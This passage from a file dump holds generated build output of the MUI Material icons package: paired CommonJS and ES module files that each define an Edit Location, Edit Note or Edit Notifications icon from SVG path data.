    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.95 13H9V8.05l5.61-5.61C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8zM11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zM19.29.59l-1.42 1.42 2.12 2.12 1.42-1.42z\"\n}), 'EditLocationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.95 13H9V8.05l5.61-5.61C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8zM11 11h2.12l6.16-6.16-2.12-2.12L11 8.88zM19.29.59l-1.42 1.42 2.12 2.12 1.42-1.42z\"\n}), 'EditLocationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.9 9.05c.06.36.1.74.1 1.15 0 1.71-1.08 4.64-6 9.14-4.92-4.49-6-7.43-6-9.14C6 6.17 9.09 4 12 4c.32 0 .65.03.97.08l1.65-1.65C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8zM20.71 2 20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.95 13H9V8.05l3.97-3.97C12.65 4.03 12.32 4 12 4c-2.91 0-6 2.17-6 6.2 0 1.71 1.08 4.64 6 9.14 4.92-4.49 6-7.43 6-9.14 0-.4-.04-.78-.1-1.15z\",\n  opacity: \".3\"\n}, \"1\")], 'EditLocationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.9 9.05c.06.36.1.74.1 1.15 0 1.71-1.08 4.64-6 9.14-4.92-4.49-6-7.43-6-9.14C6 6.17 9.09 4 12 4c.32 0 .65.03.97.08l1.65-1.65C13.78 2.16 12.9 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-1.01-.16-1.94-.45-2.8zM20.71 2 20 1.29a.996.996 0 0 0-1.41 0l-.72.72 2.12 2.12.72-.72c.39-.39.39-1.02 0-1.41M11 11h2.12l6.16-6.16-2.12-2.12L11 8.88z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.95 13H9V8.05l3.97-3.97C12.65 4.03 12.32 4 12 4c-2.91 0-6 2.17-6 6.2 0 1.71 1.08 4.64 6 9.14 4.92-4.49 6-7.43 6-9.14 0-.4-.04-.78-.1-1.15z\",\n  opacity: \".3\"\n}, \"1\")], 'EditLocationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08zM16 2.74l1.29-1.29a1.49 1.49 0 0 1 2.12 0l1.15 1.15c.59.59.59 1.54 0 2.12l-.68.68-.02.02-.58.58-6 6H10V8.74zm-2.28-.55-.55.55-1.27 1.27c-3.3.05-5.9 2.6-5.9 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.1l1.8-1.8c.13.6.2 1.24.2 1.9 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2.58 0 1.16.06 1.72.18\"\n}), 'EditLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08zM16 2.74l1.29-1.29a1.49 1.49 0 0 1 2.12 0l1.15 1.15c.59.59.59 1.54 0 2.12l-.68.68-.02.02-.58.58-6 6H10V8.74zm-2.28-.55-.55.55-1.27 1.27c-3.3.05-5.9 2.6-5.9 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.1l1.8-1.8c.13.6.2 1.24.2 1.9 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2.58 0 1.16.06 1.72.18\"\n}), 'EditLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2M9.73 13.5H8.5v-1.44l3.93-3.92 1.43 1.43-3.77 3.78q-.15.15-.36.15m5.55-5.34-.7.7-1.44-1.44.7-.7c.15-.15.39-.15.54 0l.9.9c.15.15.15.39 0 .54\"\n}), 'EditLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2M9.73 13.5H8.5v-1.44l3.93-3.92 1.43 1.43-3.77 3.78q-.15.15-.36.15m5.55-5.34-.7.7-1.44-1.44.7-.7c.15-.15.39-.15.54 0l.9.9c.15.15.15.39 0 .54\"\n}), 'EditLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.11 1.77 19.78.1l2.12 2.12-1.67 1.67zm-1 1 2.12 2.12L13.12 11H11V8.89zm-1.98-.13L9.5 8.27v4.24h4.24l5.62-5.62c.41.99.64 2.1.64 3.32 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2 1.09 0 2.16.22 3.13.63\"\n}), 'EditLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.11 1.77 19.78.1l2.12 2.12-1.67 1.67zm-1 1 2.12 2.12L13.12 11H11V8.89zm-1.98-.13L9.5 8.27v4.24h4.24l5.62-5.62c.41.99.64 2.1.64 3.32 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2 1.09 0 2.16.22 3.13.63\"\n}), 'EditLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.11 14H8V7.91l.59-.59L11.91 4C8.61 4.05 6 6.6 6 10.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.08l-3.3 3.3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08zM16 2.74l1.29-1.29c.58-.59 1.52-.59 2.11-.01l.01.01 1.15 1.15c.59.59.59 1.54 0 2.12l-.68.68-.02.02-.58.58-6 6H10V8.74zm-2.28-.55-.55.55-1.27 1.27c-3.3.05-5.9 2.6-5.9 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.1l1.8-1.8c.13.6.2 1.24.2 1.9 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2.58 0 1.16.06 1.72.18\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08z\",\n  opacity: \".3\"\n}, \"2\")], 'EditLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.11 14H8V7.91l.59-.59L11.91 4C8.61 4.05 6 6.6 6 10.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.08l-3.3 3.3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08zM16 2.74l1.29-1.29c.58-.59 1.52-.59 2.11-.01l.01.01 1.15 1.15c.59.59.59 1.54 0 2.12l-.68.68-.02.02-.58.58-6 6H10V8.74zm-2.28-.55-.55.55-1.27 1.27c-3.3.05-5.9 2.6-5.9 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14v-.1l1.8-1.8c.13.6.2 1.24.2 1.9 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8 0-4.98 3.8-8.2 8-8.2.58 0 1.16.06 1.72.18\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.17 4.91 17.1 3.84l-5.55 5.55v1.08h1.08z\",\n  opacity: \".3\"\n}, \"2\")], 'EditLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1h9c.55 0 1 .45 1 1M3 7c0 .55.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m7 8c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1-.45 1-1m8.01-2.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.16 5.16c-.09.09-.14.21-.14.35v1.41c0 .28.22.5.5.5h1.41c.13 0 .26-.05.35-.15l5.16-5.16z\"\n}), 'EditNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1h9c.55 0 1 .45 1 1M3 7c0 .55.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m7 8c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1-.45 1-1m8.01-2.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.16 5.16c-.09.09-.14.21-.14.35v1.41c0 .28.22.5.5.5h1.41c.13 0 .26-.05.35-.15l5.16-5.16z\"\n}), 'EditNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13 1.41-1.41 2.12 2.12-1.41 1.41zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13 1.41-1.41 2.12 2.12-1.41 1.41zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-2h11V6H3zm0 8h7v-2H3zm15.01-3.13.71-.71c.39-.39 1.02-.39 1.41 0l.71.71c.39.39.39 1.02 0 1.41l-.71.71zm-.71.71-5.3 5.3V21h2.12l5.3-5.3z\"\n}), 'EditNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotifications.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09L10.6 10.4V15h4.6zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotifications.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09L10.6 10.4V15h4.6zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-1.43 1.43C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8v-2.8zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-1.43 1.43C13.64 6.26 12.85 6 12 6c-2.21 0-4 1.79-4 4v7h8v-2.8zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77-4.84 4.84c-.09.09-.22.14-.35.14H13.1c-.28 0-.5-.22-.5-.5v-1.06c0-.13.05-.26.15-.35zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M20 18c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-4.52 4.52c-.38.38-.59.88-.59 1.41V13c0 1.1.9 2 2 2h1.77c.53 0 1.04-.21 1.41-.59L18 12.2V17h1c.55 0 1 .45 1 1m-10 2h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77-4.84 4.84c-.09.09-.22.14-.35.14H13.1c-.28 0-.5-.22-.5-.5v-1.06c0-.13.05-.26.15-.35zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M20 18c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.82.21 1.57.59 2.21 1.09l-4.52 4.52c-.38.38-.59.88-.59 1.41V13c0 1.1.9 2 2 2h1.77c.53 0 1.04-.21 1.41-.59L18 12.2V17h1c.55 0 1 .45 1 1m-10 2h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8V2h3v2.2c.82.21 1.57.59 2.21 1.09L10.6 10.4V15h4.6zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.58 6.25 1.77 1.77L14.37 13H12.6v-1.77zm3.27-.44-1.06-1.06c-.2-.2-.51-.2-.71 0l-.85.85L20 7.37l.85-.85c.2-.2.2-.52 0-.71M18 12.2V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8V2h3v2.2c.82.21 1.57.59 2.21 1.09L10.6 10.4V15h4.6zM10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2\"\n}), 'EditNotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EditNotificationsTwoTone.js",
